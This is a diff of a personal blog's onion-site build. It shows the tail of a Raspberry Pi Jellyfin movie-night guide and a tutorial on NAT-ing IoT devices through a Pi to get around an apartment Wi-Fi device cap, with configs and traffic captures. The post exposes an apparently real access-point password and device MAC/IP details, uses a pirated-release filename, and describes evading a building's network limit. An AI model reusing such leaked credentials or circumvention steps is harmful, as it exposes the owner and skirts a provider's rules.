    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/movienight/page/1/index.html b/public-onion/tags/movienight/page/1/index.html new file mode 100644 index 0000000..0a0ffd9 --- /dev/null +++ b/public-onion/tags/movienight/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/movienight/ + + + + + + diff --git a/public-onion/tags/networking/index.html b/public-onion/tags/networking/index.html new file mode 100644 index 0000000..c8e67fd --- /dev/null +++ b/public-onion/tags/networking/index.html @@ -0,0 +1,353 @@ + + + + + + + +Networking | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) +

    +
    +
    +

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    +
    +
    November 23, 2025 · 18 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/networking/index.xml b/public-onion/tags/networking/index.xml new file mode 100644 index 0000000..276984b --- /dev/null +++ b/public-onion/tags/networking/index.xml @@ -0,0 +1,612 @@ + + + + Networking on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/networking/ + Recent content in Networking on AlipourIm journeys + Hugo -- 0.146.0 + en + Sun, 23 Nov 2025 00:00:00 +0000 + + + I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support. + The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
